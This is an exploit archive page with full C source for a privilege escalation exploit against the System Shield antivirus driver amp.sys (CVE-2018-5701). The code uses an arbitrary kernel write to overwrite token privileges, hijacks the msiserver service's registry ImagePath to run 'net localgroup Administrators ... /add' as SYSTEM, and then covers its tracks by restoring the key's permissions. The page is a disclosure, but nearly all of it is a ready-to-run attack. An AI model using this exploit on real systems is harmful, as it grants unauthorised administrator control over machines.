what you don't know can hurt you

System Shield 5.0.0.136 Privilege Escalation

System Shield 5.0.0.136 Privilege Escalation
Posted Jan 30, 2018
Authored by Parvez Anwar

System Shield version 5.0.0.136 suffers from a privilege escalation vulnerability.

tags | exploit
advisories | CVE-2018-5701
MD5 | 4a8fd608e34422f5a3a92d606918f600

System Shield 5.0.0.136 Privilege Escalation

Change Mirror Download
/*

Exploit Title - System Shield AntiVirus & AntiSpyware Arbitrary Write Privilege Escalation
Date - 29th January 2018
Discovered by - Parvez Anwar (@parvezghh)
Vendor Homepage - http://www.iolo.com/
Tested Version - 5.0.0.136
Driver Version - 5.4.11.1 - amp.sys
Tested on OS - 64bit Windows 7 and Windows 10 (1709)
CVE ID - CVE-2018-5701
Vendor fix url -
Fixed Version - 0day
Fixed driver ver - 0day


Check blogpost for details:

https://www.greyhathacker.net/?p=1006

*/


#include <stdio.h>
#include <windows.h>
#include <aclapi.h>

#pragma comment(lib,"advapi32.lib")

#define MSIEXECKEY "MACHINE\\SYSTEM\\CurrentControlSet\\services\\msiserver"

#define SystemHandleInformation 16
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L)


typedef unsigned __int64 QWORD;


typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
QWORD Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;


typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;


typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);




QWORD TokenAddressCurrentProcess(HANDLE hProcess, DWORD MyProcessID)
{
_NtQuerySystemInformation NtQuerySystemInformation;
PSYSTEM_HANDLE_INFORMATION pSysHandleInfo;
ULONG i;
PSYSTEM_HANDLE pHandle;
QWORD TokenAddress = 0;
DWORD nSize = 4096;
DWORD nReturn;
BOOL tProcess;
HANDLE hToken;


if ((tProcess = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) == FALSE)
{
printf("\n[-] OpenProcessToken() failed (%d)\n", GetLastError());
return -1;
}

NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");

if (!NtQuerySystemInformation)
{
printf("[-] Unable to resolve NtQuerySystemInformation\n\n");
return -1;
}

do
{
nSize += 4096;
pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION) HeapAlloc(GetProcessHeap(), 0, nSize);
} while (NtQuerySystemInformation(SystemHandleInformation, pSysHandleInfo, nSize, &nReturn) == STATUS_INFO_LENGTH_MISMATCH);

printf("\n[i] Current process id %d and token handle value %u", MyProcessID, hToken);

for (i = 0; i < pSysHandleInfo->NumberOfHandles; i++)
{

if (pSysHandleInfo->Handles[i].ProcessId == MyProcessID && pSysHandleInfo->Handles[i].Handle == hToken)
{
TokenAddress = pSysHandleInfo->Handles[i].Object;
}
}

HeapFree(GetProcessHeap(), 0, pSysHandleInfo);
return TokenAddress;
}



int TakeOwnership()
{
HANDLE token;
PTOKEN_USER user = NULL;
PACL pACL = NULL;
EXPLICIT_ACCESS ea;
DWORD dwLengthNeeded;



if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token))
{
printf("\n[-] OpenProcessToken failed %d\n\n", GetLastError());
ExitProcess(1);
}
printf("\n[+] OpenProcessToken successful");

if (!GetTokenInformation(token, TokenUser, NULL, 0, &dwLengthNeeded) && GetLastError() != ERROR_INSUFFICIENT_BUFFER)
{
printf("\n[-] Failed to initialize GetTokenInformation %d\n\n", GetLastError());
ExitProcess(1);
}

user = (PTOKEN_USER)LocalAlloc(0, dwLengthNeeded);

if (!GetTokenInformation(token, TokenUser, user, dwLengthNeeded, &dwLengthNeeded))
{
printf("\n[-] GetTokenInformation failed %d\n\n", GetLastError());
ExitProcess(1);
}

ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));

// build DACL

ea.grfAccessPermissions = KEY_ALL_ACCESS;
ea.grfAccessMode = GRANT_ACCESS;
ea.grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT;
ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
ea.Trustee.ptstrName = (LPTSTR)user->User.Sid;

if (SetEntriesInAcl(1, &ea, NULL, &pACL) != ERROR_SUCCESS)
{
printf("\n[-] SetEntriesInAcl failure\n\n");
ExitProcess(1);
}
printf("\n[+] SetEntriesInAcl successful");

// Take ownership

if (SetNamedSecurityInfo(MSIEXECKEY, SE_REGISTRY_KEY, OWNER_SECURITY_INFORMATION, user->User.Sid, NULL, NULL, NULL) != ERROR_SUCCESS)
{
printf("\n[-] Failed to obtain the object's ownership %d\n\n", GetLastError());
ExitProcess(1);
}
printf("\n[+] Ownership '%s' successful", MSIEXECKEY);

// Modify DACL

if (SetNamedSecurityInfo(MSIEXECKEY, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NULL, pACL, NULL) != ERROR_SUCCESS)
{
printf("\n[-] Failed to modify the object's DACL %d\n\n", GetLastError());
ExitProcess(1);
}
printf("\n[+] Object's DACL successfully modified");

LocalFree(pACL);
CloseHandle(token);

return 0;
}



int RestorePermissions()
{
PACL pOldDACL = NULL;
PSID pSIDAdmin = NULL;
SID_IDENTIFIER_AUTHORITY SIDAuthNT = SECURITY_NT_AUTHORITY;



printf("\n[*] Restoring all permissions and value");

// Restore registry value

WriteToRegistry("%systemroot%\\system32\\msiexec.exe /V");

// Sid for the BUILTIN\Administrators group

if (!AllocateAndInitializeSid(&SIDAuthNT, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &pSIDAdmin))
{
printf("\nAllocateAndInitializeSid failed %d\n\n", GetLastError());
ExitProcess(1);
}

// Restore key ownership

if (SetNamedSecurityInfo(MSIEXECKEY, SE_REGISTRY_KEY, OWNER_SECURITY_INFORMATION, pSIDAdmin, NULL, NULL, NULL) != ERROR_SUCCESS)
{
printf("\n[-] Failed to restore the object's ownership %d\n\n", GetLastError());
ExitProcess(1);
}
printf("\n[+] Object's ownership successfully restored");

// Take copy of parent key

if (GetNamedSecurityInfo("MACHINE\\SYSTEM\\CurrentControlSet\\Services", SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NULL, &pOldDACL, NULL, NULL) != ERROR_SUCCESS)
{
printf("\n[-] Failed to copy parent key object's DACL %d\n\n", GetLastError());
ExitProcess(1);
}
printf("\n[+] Parent key object's DACL successfully saved");

// Restore key permissions

if (SetNamedSecurityInfo(MSIEXECKEY, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION, NULL, NULL, pOldDACL, NULL) != ERROR_SUCCESS)
{
printf("\n[-] Failed to restore the object's DACL %d\n\n", GetLastError());
ExitProcess(1);
}
printf("\n[+] Object's DACL successfully restored");

FreeSid(pSIDAdmin);

return 0;
}



int WriteToRegistry(char command[])
{
HKEY hkeyhandle;

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\services\\msiserver", 0, KEY_WRITE, &hkeyhandle) != ERROR_SUCCESS)
{
printf("\n[-] Registry key failed to open %d\n\n", GetLastError());
ExitProcess(1);
}

if (RegSetValueEx(hkeyhandle, "ImagePath", 0, REG_EXPAND_SZ, (LPBYTE) command, strlen(command)) != ERROR_SUCCESS)
{
printf("\n[-] Registry value failed to write %d\n\n", GetLastError());
ExitProcess(1);
}

printf("\n[+] Registry key opened and value modified");

RegCloseKey(hkeyhandle);

return 0;
}



int TriggerCommand()
{
STARTUPINFO si;
PROCESS_INFORMATION pi;


ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);

if (!CreateProcess(NULL, "c:\\windows\\system32\\msiexec.exe /i poc.msi /quiet", NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
{
printf("\n[-] CreateProcess failed %d", GetLastError());
ExitProcess(1);
}
printf("\n[+] c:\\windows\\system32\\msiexec.exe launched");
printf("\n[i] Account should now be in the local administrators group");

CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);

return 0;
}



int main(int argc, char *argv[])
{
QWORD TokenAddressTarget;
QWORD SepPrivilegesOffset = 0x40;
QWORD TokenAddress;
HANDLE hDevice;
char devhandle[MAX_PATH];
DWORD dwRetBytes = 0;
QWORD inbuffer1[3] = {0};
QWORD inbuffer2[3] = {0};
QWORD ptrbuffer[1] = {0}; // QWORD4 - Has to be 0 for arbitrary write value to be 0xfffffffe
DWORD currentusersize;
char currentuser[100];
char netcommand[MAX_PATH];



printf("-------------------------------------------------------------------------------\n");
printf(" System Shield AntiVirus & AntiSpyware (amp.sys) Arbitrary Write EoP Exploit \n");
printf(" Tested on 64bit Windows 7 / Windows 10 (1709) \n");
printf("-------------------------------------------------------------------------------\n");

TokenAddress = TokenAddressCurrentProcess(GetCurrentProcess(), GetCurrentProcessId());
printf("\n[i] Address of current process token 0x%p", TokenAddress);

TokenAddressTarget = TokenAddress + SepPrivilegesOffset;
printf("\n[i] Address of _SEP_TOKEN_PRIVILEGES 0x%p will be overwritten", TokenAddressTarget);

inbuffer1[0] = 0x8; // QWORD1 - Cannot be more than 8. Also different values (<9) calculates to different sub calls
inbuffer1[1] = ptrbuffer; // QWORD2 - Address used for read and write
inbuffer1[2] = TokenAddressTarget+1; // QWORD3 - Arbitrary write address !!!

inbuffer2[0] = 0x8;
inbuffer2[1] = ptrbuffer;
inbuffer2[2] = TokenAddressTarget+9;

sprintf(devhandle, "\\\\.\\%s", "amp");

hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);

if(hDevice == INVALID_HANDLE_VALUE)
{
printf("\n[-] Open %s device failed\n\n", devhandle);
return -1;
}
else
{
printf("\n[+] Open %s device successful", devhandle);
}

printf("\n[~] Press any key to continue . . .\n");
getch();

DeviceIoControl(hDevice, 0x00226003, inbuffer1, sizeof(inbuffer1), NULL, 0, &dwRetBytes, NULL);
DeviceIoControl(hDevice, 0x00226003, inbuffer2, sizeof(inbuffer2), NULL, 0, &dwRetBytes, NULL);

printf("[+] Overwritten _SEP_TOKEN_PRIVILEGES bits\n");
CloseHandle(hDevice);

currentusersize = sizeof(currentuser);

if (!GetUserName(currentuser, &currentusersize))
{
printf("\n[-] Failed to obtain current username: %d\n\n", GetLastError());
return -1;
}

printf("[*] Adding current user '%s' account to the local administrators group", currentuser);

sprintf(netcommand, "net localgroup Administrators %s /add", currentuser);

TakeOwnership();
WriteToRegistry(netcommand);
TriggerCommand();
Sleep(1000);
RestorePermissions();
printf("\n\n");

return 0;
}


Login or Register to add favorites

File Archive:

July 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    15 Files
  • 2
    Jul 2nd
    19 Files
  • 3
    Jul 3rd
    11 Files
  • 4
    Jul 4th
    0 Files
  • 5
    Jul 5th
    0 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close